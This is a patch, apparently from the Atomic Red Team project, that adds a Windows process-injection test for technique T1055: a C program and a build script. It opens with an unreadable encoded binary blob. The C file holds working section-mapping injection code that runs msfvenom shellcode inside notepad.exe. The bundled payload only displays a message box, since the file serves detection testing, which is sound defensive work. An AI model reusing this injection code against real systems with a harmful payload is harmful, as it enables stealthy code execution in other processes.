zw+(alG^h~o4+zc9a;^}s7AM&Du&EFo6f*cG8c|I)QNXg8Q*RBN+(X02U|9r3jDaJ#j4MB;;~mf zted6l#J3Jv%Xg2`iSIU*pYI*36Q^Zp@}CaYiKc$Pyjt8(CmxNjeX3_qohUaAg8vY% z$CN$C{B@$+@CLi*`RK$)Eylfz_t1%!rY1Ro3Z2+te82WhTp+yUbYeFAA!1WY9bLx& z#}%GqOiO4(_p!KR`xjye>fz#7?D_fVN~SbiA%*68LqUNEN{r>6jf0w=s7)-KF zvblW;)V;Kw2U}2Dx=&3Vyw}x{5pVeEU2T&T>5(>FbJ)KG6ZdNZzeMBXAtQNk{g@v- zN$n#eYRd5Q8`_vA(pN~Je&O%cgP)I2+{gs@yNbXxKktx;$R<%CLGYI38~IVsg6e)l zXt=^^em$kQMMi$qv)ITl1pG?CPXWsE?Mc1J!|LIrJapCklu{m*;751pSX^ZkjceJ~ z@H~`JG@!h?pOl_UHNQwHJq7qxr57oM^8r8QRLBEjcd{~NXkc9&2Na5Pn4lwBnuZ^&5wmk1V0aWmcToc zl_#%6Mx1DQ*tPYAw`5&)zqZt`2>cA%fFJeq_*q7_!UjFYZBPA38H9sJ-@IA!ME$#r zT!AlPddKqLFfk$7P)Xiu44^O}&mr1~h^|4b7Nu1F_C*GNc(!gt9d+$!XCIk^1#yV? zA`X6@#6i}Q*r?$-89Q@g7jHxC{H%$c#zrlJKWtgs&xzDN@1T>H)l%1twuPCCIdPV? zBj!3&bqyaAWkX97VtLPx_&5?m|1RQIs3XZQzLUf=!EZnHgHlnuAsfb#nVS%EUlSjh zsf?Hg!|xeNWwC;?SQ5Jk8+9T)F94UALQ5RaT+F$kUp*`&Q-2>-KNe)tb0!t%z&9C2@_kAg++6tFLpJ%*upV?KDx!>e-Td zS{qU?-kQ{lv?BH3+SK!P)zv9;E|$s7iCk+zTQ z8*5#?A>a6X$a@v3CtFISl;K)Yd$B3hPa|v62+pAqoI@ixhelAIM!s-c>|{xtz|RT% zoWRe?7xFbTA!dFuVsB@vuRq>i>ia<-h2tH)9<;vUkH9+m*%HSHTb*^8rP?AI+KWLv zc5ZN9Q132K@A`B5OP?}@K4nX4&$m-rVVmc9o{ogy`5XYxxwMdx1kg{FYaWDI3P&9X zBbCcS2JHmGI>9-`Tfw=(IY!8({z5}MgROv8QSi3}cz6dB;-Iln%4}rBCKk?1x+YL& zxK=K3tz3NZnn?cO2iMsJ(&YZ1DpR+?@S8$#@G^ZWOb*y*8HADgCzP9?`}X04d=CdL zv!qg6vx9403))&uxZcqAG*VkDrD3Et4CQC-;Rx6dLwh(_tv!^%_{y%kHC*?qx{+C% z&_3-WU4Je7dW+OHYC)KqP=B_>X}(--FSSKWVjW?wugj6}seccSk-RQ#O^B_=O!=wv ztq%{iPltoIAA1LL=nHbe6pN_;Y+1SaQv%lcNOe^{zI6C z@MYM3aQv%uzJWA08l)qW#v6MWZ{#rE*ui*Hi@5HD@ka6ohHLK%*TfaBiR*l49UI#W z&ilN<*e1n+u<;NU`k*WHL01i=`qX2CyiX~+8ET& zfxfSnA|31eX&<0%MPuS)FO4zqIq3(V1MnHZ+tz@!FduQ67M~t_4lRdqWM$PgmYLTe=6+BH`ng2M3ut>d?v>UmrX#*Je5TU+ zw>f3n&MuuT!+ESIu?}v`(aMyd$Xt_2}5P)=q1kWtn-YX)*omr}YRzSYKzK^E{77 zdkJ|9$CEe=9BINoE}!9T)x zx!~aZsqtebq@523?@z8Cme6*bh#Q=X8=Q+7M*FOO#;=^VrZ#wW!m`-Be4PF_7)b*QVQdc(9gpH2u+5|d*y$$rM z$VDa%{1%urkj*iXW};HtVqu~ojEv?VX$xhrA$5Emb@04wY0Y9AwQDOYXxATzjn1mf zqS#Dr8ck=cEM6J3aanCEQd`!Q*y-S!6%a-1QP6nMc|D z)sSV5=EM=^6OPd59DVK7t_{pcP1#IhUS?WqQq1z8zeCZ`!vO|8BdP2cPbT;n24mD;cp0hVyG+3G+rfBG**St!UeZOCdQKeAUG|(L|~P zX&$bHc{$XN8PpG(m)pVl!(4GEoPTqh0j~X>WcH+{&Zf+&)cCq*LW)+>=RF-;VNT#H zwb^3c?>ECe{&#RBK-;D&qitcnsgG+jmAx&v4c7Qpo z4P3WGGhzY#Nt&aWpiTj;Yf0*Ap}j-9sSE9p>J!v=sI^bAd^}NuQ9nb~ zpiV>0N8N>5f_e|tgq{;PCsZHQBht*0kO<^xR5fZg>JrpK)Dl!3>N`~HGb|q$)JCX2 zsKKa_sPU+3)M=;-Pzz8GqL!lGL4At)2G#Z~%ikTfC2D)rFw`Na$*5ydr=ZS3U5C04 z^&;w1R7ZBm@frLOpTKMhlwB$rpvbwEr|I`?D zdSV*P(qTw|Xb`2XZ}%klQ9nX_t9<&v$|2cd#>&ywS3(kD+Al+;$x^B`Bhxe~F{yE? zkhF|cE&Lj8!@r(M&v??*z?Y>2p5z(z?VptnKdT#=l%fhsr@u!|-;uN$JyVmkNioSu z<5m5`lhU=Jv=T0vMre~mV$|?Ez>ptg2PL~f{le4IMrWwIXQal_pA7Gos)e8VC3mT1 zV3J0g5tBS1bsYTkHX&cu=$YPC6`PTepwcLzlAyXtvDtvsMCszhcgu`}ANhqOpdj>Q z$YitrD(&BzuSw>M#CIvaYIRmG&=&(FS#G6e%b*zP~ytRl2sM&@3`JJt#RjEsl_#^gR@BU`#Un z+Vgjmpm2=7rPN)cQjuLUD&a}78v47-Cu@YK#l$0Z%Y?H}G>wQ!N>}M?osb)>M&q%w zkf!E?;Pj;5sV5Vw>W{XQKJY{GkVb;6TV|5J&#W|y#Gj6bYL}WctiM*pW64T+-;zP` z;ivAQ@j{tWRY90z4=~n}qotmBU0O`GST4W`Gi0T-Piv7wxl%l9cc-61o14q$3 zrPiFKR*^}v?$G+AQGiU9-b>w#+NH8Al>BJVqF#f@d}u{bmr3yrLOEluE3mO^>{+(K{nqn-rWyyZE4_cvVPZjE2~o^S6;{dOHcCX>>~+ zo1{rgO@S`JP9q)4{hf5hK4oe`Tc3epV2mayCYF|VD7Ez0>aW>tnmS7|63!k{JxG1< zde9n$Jpozw9$e4+EG2pLFyXw3dF zI6yyXOY^6!OiQ920=&o&>1xpca4n?w5h`{a&)_)7YPtz)UzjTt^?%&IT?6kzbMEP2 zbMRp)L<#B_q>Sh{Ftp8iRp_jUXaQba=!*hgG)f`VZckWP?=~kw+Z1o@5;MWXQxSCN zM9m=Cp*w#>1odM9X9af&m6Zy!vU4H5&@YR%X@E*$R;Y{6bylFFr>ykuXQ3ZY2tl*_ zazka8F*QubzbvC%2(J;|#Ijq*a~YSTXp|-pWh4Z*4W;A`1YinrOM{|bJxgz(v4)`EFSXqyv3`?`HG(Bk7I z>8)<}nt>lL1!>b#lHwE*s(3}DDkg>WhR;&yw!vw1-rfwN(LGcU$x(&rHEFGokdR8I zr-v!dkG%NtqwktqUf;B;{#`E&`4^EX{^IqY;$Z^m^78(tB#4R7bm_VOM;woD3yDbk zo&TGO(Q82+kCsiWt?73>x#KpU!E8U4*8^7?&hR~t_jek4?_clh{&(Ar%boY=)8#E3 z%KUwXF;({abU5SmjJfO%#>aXIF%Iyb&g{vDPrb6N6o2df(~I)olHlL}FgGjC-~Vv* ze@k)y%QF2`i(r1N2!Gow6#r#K{IAUD|M6x*pK3C!u5~qFt$Rw=l!oZJ;TC(ddOg#e zRb}t!yTD1=k`_StLu;?CRWS2kUUTR?09+vI?te3U5QhIA!k=ApZ;c!IZOy|qLs?=5 zuln>St(Ic+gMGk$*M?tHkP+8LUGp^v$=>E%xN@`XHSD`iVlh1)vvD;OpVRt}>ST1D znC=8j_kUNtp}6$;VDOpymy`K_&_nhQ&cw*oK*vv&)(3TbF2R-CGnVjo|Cg$qkWFxC z;W?Q?&`$8oPcFO<1od!)=fmK=;j=P^&(YB5X|6lN7gHe&)wgimgZES|Y7_Dt-YY=U z;h@hiX+c}ofj9SQ(5gX; zMh7v@)EcE?)FMG!^m*^DqyDd>e{g4h^Za^x_I$kio|D|V2zLLLni0b&OARkLw^1^+Q7had-eNgHQ;TR3@Q}}M)pWBO<*V8}5`I`}b zGh9H@zHmq6dvG=9at>0y2A+weP8MDmc@M@L6mI;+MhGBcFlqM@#nwe)DABv*p@8T%Hcg zWAMDl=i!$kUx&Xz63+whEvJP27NLepw9|z@Ln?j@k7PS7$s2fbu>JA9k1Kr(@;awukdWX=1u&1c*mJx+_uBaS)6&4YtL4cpS+3RgJ^REZ(FY@ z3SNW9@MSbImn5{2#K(nao)fm2g+D`bFCKx1bF3Y%l|Q)j1ai4{20!&?c~5sv*$R)G z59eNomz)>YDZm{_#@T~s=E+;y$-)+reuZ~lz#J*x4xd0h{0u&LA+P)4_rU!~#xsG> zdTW#?@Qsnr!gAz=_eXvR*KP>MCj0=BemBDwN_>+sz^gCf*KPXR0y7sY$^pFalSszD z75*afD=y)^VkG0)2ycn}0^Aw-z3}V;?>EuDoF=^%t;1K~Z;-Tk5FYcku$>gV0=1~K z3Eqx|cn#(+We<^d;FTNMkML!9C)$jE1g^S_bK3X}yc8{sP0AuK^pNzs9UhFl@chfe z`kUY_kzas|=pbzl;mPj^uT8^GBWb?|Z+sWI@h$d7_}nYPI49w4C{6hucp|U0t;46` zqi7?344+18@q8hwat>N*6F!RM9*v=Vd8U*LlaUwRjASl#_%KpwX9PR%3HOICd>Tm| zz5-Zz9g=p|!319bUZK9Qh@_6tj=T#WkNgy#byYZ?_0U4Hce!xu)nPlry-3C^T>d_C zk@jQoTqNz!!^3Es%$GA#UqOBR0^FjqzvG2JMLql@@Zt}IeHEaAq@5N#5P9KGKghn( zr#_r~C|uXV<2N&3%2&ZnNX91Ig`}O`@Np#ZpThTjIGjrvt|+s=bM3m1@}52_;kUqh z&|dr^oZG?~3%vX-<||MazX_i5FW=iyyQ#B|MVX595@_;MJd{ z9$tkzK1WXCd+__85BIJieD)3O35+=gUyUSxiqJ;VuM5>$I2WOZRNCpo({CgP@O%}h zvg@X>uifx_H!Dhw@*%wB%k+gWz$?GP9*9@rCvK(vUF&5H4E`>pvg99!VV5 zK^2*_DcpgS-Q*tJkK{2Tb}!#;{Vj^Avl(vbv%gbEc+$>r|6cQD9^&!pV>F?acH76UU<(_Jl5bB;e~%;ocIm!y-3En6>j}2kI|G1 zk2=hLhc7`LNgWfed^+qm3BQO;>TH9j{VlwA8TbT}d%Z%LQ;wJ;zo@ee-i9PTUHBN9 zQGNjKJc9T=z&;O8Tt;24O~G8`h1()8+!y)o@;T+w=glceuI)a5PI>YL{C&B-aYBdLIbHsP!ADWu}#t7#Ke@G3mx z1pXhdr1(4t>d{UTo`Cvz`J9P-W@H{Ol+R~u#tY?a_lm`ka!ym~2<7~~_$5YO&fm+q zaVZzdd2jJTIomB>C}(xW3+3#oc%hs#6)%)?qvC~fzEiwV&f$p{${9QHLODYwUU*aF z<;++=@~r4*e*T9MSa~e_@p0_o@CNi;{O{oy713ezZFD!vq8}j*l~EGyKc3&U&_n1x zv;*nr3+Nj3ZuHXCit<7re=1{zBx3<=G0WIxRtchR@TZ}MN73R zR?X6^uGP1O*4Ua_iXFF;cG}L`dAn$NQ(JN3PSQy`Stsul9o4Bg zHAi#0PTv_iV`u6pZrn|}X*cWU-J+|y6}RSUZrAO*LwD>>U0%TSl3v=&dU>ztsb0ma zd79Vt`rgnRds9zo#+%7zx|wa}o5iNutTby)t=Vn%o5SX~Ic+L_+*h*f=R{?skM)Tj z_Ee&;GQCylukO0^*rU$@y^iR2=El4P{if(S<8_-o+8fZ~h&Cs*I-}hfEhqe>pYqdw z#?SgWU&-_MAo149T1BgBHLb2`nyYoSp4Qg}+E5#5V{M}4^@3j1OS-C;^@?8AYkFPR zbXV`{J-x3F^r0S(bgIvEr4ehy8;M4;k!qwHnMSseYvdb+MzK+9{PVunxwGAWySJ0Z z^dI-vNEk^YWu%Raku`Eg-Y6JFqhzQ?*{B#*qh{0%&2Wvb(KGtSz!(}MV{A-}sWCGY zGiDB*5qE0h2(I3QD@Sbbz(sxNClZ77Zie0P!6g=J#d3wFbGD$ zB$x#RzR2?x;u6ymT1v}kIjx|Th*6dJxWr~aTqfE~i|GkHrDyaU@hK6TDsgd%$$)rF zh((Mzq=-R|`IpG)YNOt8ne~8do-o@OGfgqe95XC2yDBqtnbm+9O_)v0OqeM%W9H0) zSu)FJ)vTMY*)s>`$efrnGiD{Ml$Eh^R>3M+Wvgn{E!XN<18ZbWteF+F6L!kZ*g3mk zm+Z1#wd=NP_w0c^vM2V;jyVY@2HwbeqeO@A(6N1Pkp5oZzWslR<@OI6Z zw57D;?PNRM&bIUIVq0xj+O@XU?za2wVSC)3wv|r2lkB8B*-pMw?5Leer`FLr-A=zV z?2J3pjuOO!WRMQBK|Ux3YETJkffjUwelQHi!8A}RJja$DQj2RzEv;p>yjIjy)@zNm z+GU*%S))@;(c^kjPwQDd&stSkr#04Sm-RVh7n!myoLz-RM}r^OKY&t-a2OO zDMp-CmuAJ~S#2sSt;Q +#include +#include + + +// msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Atomic Red Team" -f csharp +unsigned char shellcode[] = {0xfc,0x48,0x81,0xe4,0xf0,0xff, +0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, +0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48, +0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72, +0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31, +0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d, +0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52, +0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88, +0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50, +0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, +0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01, +0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d, +0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24, +0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24, +0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b, +0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01, +0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, +0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, +0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d, +0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe, +0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x0e,0x01,0x00,0x00,0x48, +0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31, +0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x41,0x74,0x6f, +0x6d,0x69,0x63,0x20,0x52,0x65,0x64,0x20,0x54,0x65,0x61,0x6d, +0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00 +}; + +unsigned int shellcode_len = sizeof(shellcode); + +// http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Executable%20Images/RtlCreateUserThread.html +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FSECTION_INHERIT.html +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT, *PSECTION_INHERIT; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + _Field_size_bytes_part_(MaximumLength, Length) PWCH Buffer; +} UNICODE_STRING, *PUNICODE_STRING; + +// https://processhacker.sourceforge.io/doc/ntbasic_8h_source.html#l00186 +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html +typedef NTSTATUS (NTAPI * NtCreateSection_t)( + OUT PHANDLE SectionHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN PLARGE_INTEGER MaximumSize OPTIONAL, + IN ULONG PageAttributess, + IN ULONG SectionAttributes, + IN HANDLE FileHandle OPTIONAL); + +// https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html +typedef NTSTATUS (NTAPI * NtMapViewOfSection_t)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID * BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + DWORD InheritDisposition, + ULONG AllocationType, + ULONG Win32Protect); + +typedef FARPROC (WINAPI * RtlCreateUserThread_t)( + IN HANDLE ProcessHandle, + IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, + IN BOOLEAN CreateSuspended, + IN ULONG StackZeroBits OPTIONAL, + IN OUT PULONG StackReserved OPTIONAL, + IN OUT PULONG StackCommit OPTIONAL, + IN PVOID StartAddress, + IN PVOID StartParameter OPTIONAL, + OUT PHANDLE ThreadHandle OPTIONAL, + OUT PCLIENT_ID ClientId OPTIONAL); + + +int FindProcess(const char *procname) { + + HANDLE hSnapshot; + PROCESSENTRY32 pe32; + DWORD pid = 0; + + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (INVALID_HANDLE_VALUE == hSnapshot) return 0; + + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (!Process32First(hSnapshot, &pe32)) { + CloseHandle(hSnapshot); + return 0; + } + + while (Process32Next(hSnapshot, &pe32)) { + if (lstrcmpiA(procname, pe32.szExeFile) == 0) { + pid = pe32.th32ProcessID; + break; + } + } + CloseHandle(hSnapshot); + return pid; +} + +HANDLE FindThread(int pid) { + HANDLE hThread = NULL; + THREADENTRY32 thEntry; + + thEntry.dwSize = sizeof(thEntry); + HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + + while(Thread32Next(hThreadSnap, &thEntry)) { + if(thEntry.th32OwnerProcessID == pid) { + hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID); + break; + } + } + CloseHandle(hThreadSnap); + + return hThread; +} + +int Inject(HANDLE hProc, unsigned char *shellcode, unsigned int shellcode_len) +{ + HANDLE hSection = NULL; + PVOID pLocalSectionView = NULL; + PVOID pRemoteSectionView = NULL; + HANDLE hThread = NULL; + + // Get pointers to the functions we need from ntdll.dll + NtCreateSection_t NtCreateSection = (NtCreateSection_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCreateSection"); + if(NtCreateSection == NULL) return -1; + NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtMapViewOfSection"); + if(NtMapViewOfSection == NULL) return -1; + RtlCreateUserThread_t RtlCreateUserThread = (RtlCreateUserThread_t) GetProcAddress(GetModuleHandle("NTDLL.DLL"), "RtlCreateUserThread"); + if(RtlCreateUserThread == NULL) return -1; + + // Create section object in the process. + NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER) &shellcode_len, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); + + // Create local section view. + NtMapViewOfSection(hSection, GetCurrentProcess(), &pLocalSectionView, NULL, NULL, NULL, (SIZE_T *) &shellcode_len, ViewUnmap, NULL, PAGE_READWRITE); + + // Copy payload in section. + memcpy(pLocalSectionView, shellcode, shellcode_len); + + // Create remote section view in the target process. + NtMapViewOfSection(hSection, hProc, &pRemoteSectionView, NULL, NULL, NULL, (SIZE_T *) &shellcode_len, ViewUnmap, NULL, PAGE_EXECUTE_READ); + + // Make the target process execute the shellcode. + RtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, pRemoteSectionView, 0, &hThread, NULL); + if(hThread != NULL) { + WaitForSingleObject(hThread, 500); + CloseHandle(hThread); + return 0; + } + + return -1; + + +} + + +int main(int argc, char *argv[]) { + DWORD pid = 0; + HANDLE hProc = NULL; + + pid = FindProcess("notepad.exe"); + + if(pid) { + hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid); + + if(hProc != NULL) { + Inject(hProc, shellcode, shellcode_len); + CloseHandle(hProc); + } else { + printf("Error opening process.\n"); + } + } else { + printf("Notepad.exe not running. Run Notepad first.\n"); + } + return 0; + +} diff --git a/atomics/T1055/src/x64/InjectView/build.bat b/atomics/T1055/src/x64/InjectView/build.bat new file mode 100644 index 00000000..bf735a98 --- /dev/null +++ b/atomics/T1055/src/x64/InjectView/build.bat @@ -0,0 +1 @@ +cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tp InjectView.c /link /OUT:InjectView.exe /SUBSYSTEM:CONSOLE \ No newline at end of file